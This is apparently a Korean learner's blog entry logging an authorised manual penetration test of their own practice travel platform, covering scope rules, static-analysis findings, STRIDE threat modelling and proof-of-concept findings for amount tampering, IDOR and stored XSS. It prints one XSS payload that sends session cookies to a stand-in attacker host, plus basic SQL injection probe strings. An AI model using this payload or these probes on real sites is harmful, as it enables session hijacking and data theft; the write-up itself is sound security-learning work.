WEB/API 취약점 진단 및 모의침투(Penetration Testing) 기록
목차 7개 단원
서론
"플랫폼 '아르고스(Argus)'의 개발 가이드에 맞춰, 우리가 만든 진단 대상 여행 플랫폼 '온데(onde)'를 대상으로 수동 모의침투를 시작했습니다. 사전 협의와 자산 분석, STRIDE 위협 모델링을 거쳐 잔고 충전 금액 조작, IDOR 기반 타인 명의 예약 변조, Stored XSS를 통한 세션 토큰 탈취로 이어지는 웹 취약점 시나리오를 직접 확인하고 결과를 정리했습니다."
온데(onde)를 타깃으로 ROE 수립, STRIDE 위협 모델링, Burp Suite 기반 금액 조작·IDOR·Stored XSS PoC까지 1차 수동 모의침투를 수행했습니다.
1. 사전 협의 및 범위 산정 (Rules of Engagement)
모의침투를 시작하며 실제 서비스 환경에 미칠 영향을 줄이고 "무엇을, 어디까지, 어떻게" 진단할지 정한 보안취약점 진단 및 모의침투 수행 정의서를 만들었습니다.
- 진단 범위 및 자산 확정: 외부 연동 서드파티(카카오 로그인, 외부 지도 API 자체 등)는 엄격히 제외하고, 로컬 가상화 환경 및
api.onde.click도메인 기반의 웹 프론트엔드, Core API 서버, 관리자 백오피스 자산으로 범위를 한정했습니다. - 테스트 계정 분리 및 식별자 설정: 데이터 오염을 방지하고 인가 우회 여부를 판별하기 위해 일반 회원(
ROLE_USER:yerin@travel.com), 항공/숙박/렌터카 파트너(ROLE_SELLER:ondecar@travel.com), 총괄 관리자(ROLE_ADMIN:admin@travel.com) 계정을 사전 조율하여 분리 배치했습니다. - 패킷 식별 식별자 삽입: 공격 도구 스캔 및 수동 패킷 변조 시 HTTP 헤더의 User-Agent에 **
Onde-Platform-PenTest-2026**이라는 고유 식별자를 주입하여 시스템 보안 로그 분석 시 일반 유저 로그와 침투 테스트 로그가 명확히 파악되도록 안전장치를 마련했습니다.
2. 정보 수집 및 자산 분석 (Information Gathering & SAST)
해커가 파라미터를 바꾸거나 조작할 수 있는 통로(공격 표면)를 찾기 위해 정적 분석, 엔드포인트 수집, 기술 스택 파악을 진행했습니다.
① 기술 스택 인벤토리 파악
- Frontend: React 19.2.6, TypeScript 6.0.2, Vite, Tailwind CSS, Zustand, Nginx.
- Backend: Java / Spring Boot 3.4.2, Spring Security, Spring Data JPA, JWT, Redis, MariaDB 10.11, MinIO.
② 엔드포인트 수집 및 소스코드 정적 분석
- 공격 표면 추출: React Router (
App.tsx)의 메뉴 라우팅 경로와 Spring Boot의 Controller 클래스를 모두 조사하여 비인증/인증/어드민 권한별로 매핑된 전체 WEB/API 엔드포인트 구조를 문서로 정리했습니다. - 개발보안 가이드라인 대조: SK Shieldus Web/API 개발보안 Guideline (v3.0.0) 체크리스트를 기준으로 소스코드를 대조한 결과, 총 20건의 보안 취약점 및 자격 증명 노출 항목을 식별했습니다.
- V-01 (CRITICAL):
AdminJwtTokenProvider.java내 JWT 서명 비밀키(Secret Key) 하드코딩 결함. - V-19 (HIGH):
AdminCommunityPanel.tsx및FeedDetailModal.tsx에서 입력 피드 렌더링 시dangerouslySetInnerHTML사용에 따른 필터링 부재. - V-20 (LOW):
authCookies.ts에서 민감 세션 정보(JWT)를 자바스크립트 접근이 가능한 브라우저 쿠키 공간에 저장하는 결함. - V-02 (HIGH):
FlightService.java에서 항공권 예약 시 여권번호 민감정보를 암호화 없이 DB 테이블에 평문 영속화하는 결함.
- V-01 (CRITICAL):
3. 위협 모델링 및 공격 루트 설계 (Threat Modeling)
식별된 취약점을 바탕으로 STRIDE 방법론을 적용해 신분 도용, 데이터 변조, 정보 유출 등의 위협 시나리오를 정의하고, 시스템 권한 침해 가능성을 살피는 공격 트리(Attack Tree)를 설계했습니다.
[Onde 핵심 3대 공격 루트 설계 명세]
├── 루트 A: API 파라미터의 사용자 ID 값 변조 (IDOR 취약점 악용)
├── 루트 B: 로그인 API에 무차별 대입(Credential Stuffing)으로 관리자 계정 탈취
└── 루트 C: 검색창 및 입력 폼에 SQL 인젝션 쿼리를 입력하여 DB 데이터 직접 조회
위 A/B/C는 위협 모델링용 큰 줄기입니다. 아래 PoC(지갑 금액 조작·IDOR 예약 변조·Stored XSS)는 그중 파라미터·인가 우회(A)와 입력값·스크립트 주입(C 계열)을 실제로 골라 검증한 사례입니다. 루트 B(무차별 대입)는 이번 수동 진단에서 깊게 다루지 않았습니다.
- 위협 시나리오 결합 체인 구성: 공격자가 커뮤니티 게시판 글쓰기 필터링 누락(
V-19) 취약점을 이용해 악성 스크립트를 심어두면, 일반 유저나 관리자가 해당 글을 읽는 시점에 자바스크립트 접근이 허용된 쿠키 영역(V-20)에서 JWT 세션 토큰을 공격자의 로그 서버로 가로채는 세션 하이재킹 공격 루트를 모델링하여 진단 우선순위 로드맵을 바인딩했습니다.
4. 취약점 분석 및 모의 침투 (Vulnerability Analysis & PoC)
진단 계획을 바탕으로 Burp Suite 프록시 도구를 실행해서 오가는 HTTP 요청/응답 패킷을 캡처하고, OWASP Top 10 및 비즈니스 로직 취약점을 직접 확인하는 PoC(Proof of Concept) 검증을 진행했습니다.
① API 비즈니스 로직 취약점 공격
- 지갑 충전 금액 파라미터 조작: 유저가 잔고를 충전하는
POST /api/v1/wallets/charge요청 패킷을 가로채 금액 파라미터를 수억 원으로 바꿔 전송한 결과, 서버 쪽 검증이 없어 지갑 잔고를 제한 없이 조작할 수 있는 심각한 결함을 확인했습니다. - IDOR 기반 타인 명의 예약 조작: 예약 정보 DTO 바디 상의
memberId파라미터를 타인의 사용자 고유 ID 값으로 임의 변조하여 요청을 날렸을 때, 현재 로그인된 세션과의 소유권 대조 검증이 미흡하여 타인의 명의로 무단 예약이 주입됨을 확인했습니다.
② OWASP Top 10 기반 취약점 공격
- Stored XSS 공격 성공: 피드 게시판 등록 API(
POST /api/v1/posts) 요청 바디 내용에 악성 태그 필터링 우회 스크립트 구문("<img src=x onerror=\"fetch('https://attacker-logger.com/log?cookie='+btoa(document.cookie))\">")을 넣어 저장했습니다. 이후 피해자가 해당 커뮤니티 게시글을 볼 때 브라우저에서 스크립트가 실행되어 보호되지 않은 쿠키 세션 토큰이 유출되는 흐름을 재현했습니다. - SQL Injection 1차 연산 진단: 검색창 및 입력 파라미터 쿼터 처리에 싱글 쿼터(
') 및OR 1=1#구문을 대입하여 서버 응답 상태 및 동적 화면 구성의 변화를 추적함으로써 백엔드 내부의 인가 검증 구조와 예외 처리 방식의 안전성을 다각도로 테스트했습니다.
진단 완료 및 위협 영역별 현황 점검
| 진단 단계 | 세부 수행 내역 | 대상 도메인 및 컴포넌트 | 상태 | 비고 |
|---|---|---|---|---|
| 1단계 | WEB/API 취약점 진단 및 모의침투 수행 정의서 수립 | 사전 협의 및 범위 산정 기준 구성 | 완료 | ROE 및 User-Agent 식별 설정 |
| 2단계 | 기술 스택 분석 및 공격 표면 식별, 엔드포인트 수집 | React / Spring Boot 명세 전수 조사 | 완료 | 정보 수집 및 자산 분석 완료 |
| 가이드라인 대조 기반 총 20건의 소스코드 결함 식별 | SK쉴더스 개발보안 가이드라인 v3.0.0 | 완료 | 하드코딩 서명키 및 민감정보 식별 | |
| 3단계 | STRIDE 위협 모델링 및 시나리오 공격 트리 설계 | 신분도용, 데이터 변조, 정보 유출 분석 | 완료 | 3대 멀티스테이지 공격 트리 구축 |
| 4단계 | 파라미터 위변조(금액 조작) 및 IDOR, Stored XSS 공격 PoC | Wallet, Board, Reservation API 패킷 조작 | 완료 | 로직 우회 및 세션 유출 결함 증명 |
5. 다음 단계: 취약점 추가 진단과 토요일 대면 멘토링 질문 정리
수동 및 정적 분석 1차 단계에서 애플리케이션 로직 우회 가능성과 세션 보안 결함을 확인했으므로, 다음 단계에서는 진단 범위를 넓히고 멘토링 세션을 준비합니다.
- 취약점 확장 진단 스프린트 지속 가동:
- 현재 식별된 20대 결함 외에 웹 서버 및 파일 업로드 파트의 확장자/MIME Type 검증 누락 우회 공격 가능성을 추가 테스트합니다.
- 외부 호출 API 엔드포인트 오염 및 파라미터 제어를 통한 서버 사이드 요청 위조(SSRF) 리스크 등 모의 웹 취약점 진단 범위를 확장하여 끝까지 추적 스캔할 계획입니다.
- 토요일 대면 멘토링 대비 질문 사항 도출 및 기술 문서화:
- 오늘 포획한 실전 PoC 데이터(파라미터 금액 조작, IDOR, Stored XSS 등)를 기반으로 실무 환경에서 이를 방어하기 위한 시큐어 코딩 한계점에 대해 멘토링 질문지를 작성합니다.
- 특히 JWT 비밀키 유출 시의 무결성 보장 대책, 자바스크립트 쿠키 탈취 환경에서
HttpOnly및Secure헤더 전환 시의 아키텍처 제약사항, 서버 단 금액 검증 및 세션 소유권 크로스 체크 로직 개선 방향성에 대해 장대현 멘토님께 조언을 구하기 위한 질문 명세를 정교하게 도출하여 토요일 멘토링을 꼼꼼히 준비하겠습니다.
- Day 15아르고스(Argus) 명칭·A/B/C 분담, 5개 설계 산출물 및 7월 개발 일정 수립
- Day 16WEB/API 취약점 진단 및 모의침투(Penetration Testing) 기록
- Day 17온데 실서버 배포와 2차 멘토링용 질문 정리
- Day 18두번째 멘토링
- Day 19온데(Onde) 멘토링 피드백 반영 및 아르고스(Argus) 모듈 별 1인 개발 파이프라인 개발
- Day 20아르고스 3주 일정 확정과 온데 DAST 가능성 평가
- Day 21웹/API 보안 취약점 진단 상세 결과 및 초보 진단자의 시행착오
- Day 22웹/API 최초 취약점 진단 결과보고서 — 파라미터 검증과 파일 처리
- Day 23중간 발표 PPT 작성
- Day 24실전 모의침투 보안 진단 보고서 — 3-2 ~ 8-1 항목
- Day 25관리자 백오피스 수동 보안 진단 결과보고서
- Day 26전 영역 보안 보완 이행 점검 결과 (상편: 1-1 ~ 3-6)
- Day 27전 영역 보안 보완 이행 점검 결과 (하편: 4-1 ~ 8-1)
- Day 28관리자 백오피스 이행 점검 완료 및 Argus 착수